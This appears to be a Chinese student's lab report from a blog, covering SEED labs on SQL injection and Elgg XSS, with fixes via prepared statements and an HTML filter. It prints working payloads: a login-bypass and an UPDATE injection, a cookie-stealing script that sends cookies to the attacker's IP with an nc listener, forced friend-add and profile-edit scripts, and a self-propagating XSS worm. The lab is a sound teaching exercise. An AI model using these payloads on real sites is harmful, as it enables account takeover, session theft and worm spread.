20231903 2023-2024-2 《网络与系统攻防技术》第十次作业

一、实验内容
1、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
(1)熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
(4)SQL对抗:修复上述SQL注入攻击漏洞。
2、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
(1)发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(2)弹窗显示cookie信息:将cookie信息显示。
(3)窃取受害者的cookies:将cookie发送给攻击者。
(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
(6)编写XSS蠕虫。
(7)对抗XSS攻击。
二、实验过程
1、SEED SQL注入攻击与防御实验

(1)熟悉SQL语句

首先我们熟悉一下SQL语句的使用,在SEED Ubuntu中输入命令mysql -u root -p,然后回车并输入密码seedubuntu登录数据库

输入命令查询Users数据库中的数据表,并使用命令读取数据表中的字段,每行分别输入回车执行

use Users;    //切换到Users数据库
show tables;    //查询Users数据库中的数据表
select * from credential;    //查询credential表中的条目(2)对SELECT语句的SQL注入攻击

在firefox浏览器中输入网址:www.SEEDLabSQLInjection.com,进入本部分实验所需的网站

我们访问该网站,随意输入用户名和密码,单击“F12”——“Network”,然后刷新网页,可以发现用户名和密码通过GET请求(通过URL的传参也可以看出)提交至unsafe_home.php页面进行身份检验然后,在终端输入命令:vim /var/www/SQLInjection/unsafe_home.php,在所显示的内容中找到核心的SQL语句可以发现该数据库对于普通用户和Admin用户的处理方式是不同的

通过上述SQL语句可以发现,条件将用户名和我们输入的密码连接到了一起。我们就可以利用注释特性,构建用户名为Admin’#,“#”表示注释,后面的内容被注释掉,那么代码就不会对password进行检查,从而绕过了密码校验,直接进入Admin用户页面。测试输入用户名为:Admin’ #,密码为空。点击登录后,发现成功登录,并且可以看到用户的详细信息,如用户的姓名、Eider,生日、薪酬等。

(3)对UPDATE语句的SQL注入攻击

接下来,我们对Admin的工资进行修改,修改之前,可以利用上一步的漏洞发现Admin修改前的工资为:400000之后点击页面上方的Edit Profile按钮,进入更新信息页面分析网页源代码可以发现,该网站将传入的参数传输到unsafe_edit_backend

输入命令:vim /var/www/SQLInjection/unsafe_edit_backend.php查看一下修改界面的源代码,在unsafe_edit_backend.php中找到 Update语句,发现不能对个人工资进行更新修改。同时由上文可以知道 Admin 的编号是 99999,变量$input_nickname对应的就是用户输入的 NickName

如果用户在 NickName 文本框中输入:‘, salary=‘1903’ where EID=‘99999’;#
那么变量input_nickname则发生相应改变,于是,上面的语句变为:$sql = "UPDATE credential SET nickname=’', salary=‘1903’ where EID=‘99999’;,这条语句就成功将 Admin的工资更新为 2928。

4)SQL对抗

将unsafe_home.php中sql部分的代码进行修改为:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd);

将unsafe_edit_backend.php中的sql语句修改为:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);再次使用sql注入攻击无法登录

2、SEED XSS跨站脚本攻击实验(Elgg)
(1)发布恶意消息,显示警报窗口

首先,输入网址http://www.xsslabelgg.com/profile/alice,账号:Alice 密码:seedalice进入个人信息页面。

之后点击Edit profile,接着在下面的Brief description文本框输入<script>alert('xss');</script>语句并点击Save保存保存之后,可以看到有弹窗信息,证明攻击是成功的

(2)弹窗显示cookie信息:将cookie信息显示

跟(1)一样,在Brief description文本框输入<script>alert(document.cookie);</script>语句并保存保存后,我们可以看到弹窗显示cookie信息

(3)窃取受害者的cookies

首先,输入命令“ifconfig”,查看本机的IP,发现为192.168.200.6在个人主页的Brief description中输入<script>document.write('<img src=http://192.168.200.6:5555?c='+escape(document.cookie) + ' >');</script>攻击代码切换成Boby的账号,密码是seedboby在member中访问Alice,在终端输入命令“nc -l 5555 -v”,监听5555端口,即可得到Boby的cookie

(4)成为受害者的朋友

首先我们登录Boby账号

先使用快捷键 ctrl+shift+E 打开浏览器开发者模式,进入Network页面,然后点击和Alice成为好友,可以看到请求的方式是POST,请求的地址是:http://www.xsslabelgg.com/action/friends/add请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=。也就是说我们要指明:添加的好友、添加的时间,并进行添加者的身份验证

于是,我们可以根据上述分析构造下面的脚本,用于添加其他好友

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

      var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;

      //发送 Ajax 请求
      Ajax = new XMLHttpRequest();
      Ajax.open("GET", sendurl, true);
      Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
      Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
      Ajax.send();
}
</script>
将脚本放在 Alice 的About me文本框,并保存

登录 Boby ,访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,再返回 Boby 主页,看到已经成功添加 Alice 为好友

(5)修改受害者的信息

登录Alice账户,在Edite profile模块输入以下代码,并保存

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        //FILL IN
        var samyGuid=44;
        //FILL IN
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>


可以发现有弹出弹窗消息接下来,我们退出 Alice账户,登录 Boby账户,访问 Alice,然后再返回 Boby界面,可以发现已经被攻击

(6)编写XSS蠕虫

为了实现蠕虫感染。调用 DOM API 的方法,编写以下代码,可以实现在不同的用户之间感染传播

<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>";
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)

        var samyGuid=44;

        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
        
    }
</script>

将上述代码放在 Alice 的About me文本框内保存保存后有弹窗出现登录Boby账号,访问Alice主页查看Boby的 About me,发现也已经被改变了,说明其感染了xss蠕虫攻击代码为证明我们的正确性,我们还可以登录Samy,利用Samy用户去访问一下Boby,可看到打开Boby的界面,就会有弹窗。紧接着返回Samy主页面,发现也被感染

(7)对抗XSS攻击

登录Admin账户选择Administration中的Plugins关闭其中的HTMLawed功能再次换回Alice账号,可以发现其中的About me内容失效,无法进行上述攻击

三、学习中遇到的问题及解决

问题:一开始无法复制代码到seed的cmd中

解决方法:点击Vmware上边栏的“虚拟机(M)”——安装Vmware Tools,然后在左边栏中点击DVD图标,找到其中的压缩包tar文件,将其复制到home目录下,双击压缩包并点击“Extract”进行解压,然后进入解压得到的文件夹中,鼠标右键——“Open in Terminal”,然后在终端中输入命令sudo ./vmware-install.pl,安装结束后重启虚拟机即可正常复制粘贴代码

四、实践总结

在这次深入的实验中,我深入探究了SQL注入与XSS跨站脚本攻击的内在机制,并将这些理论知识付诸实践。我亲自体验了这两种攻击的具体过程,从而更深刻地理解了它们的危害性和防御策略。总的来说,这次实验让我受益匪浅,为我在网络安全领域的学习奠定了坚实的基础。

  • 23
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值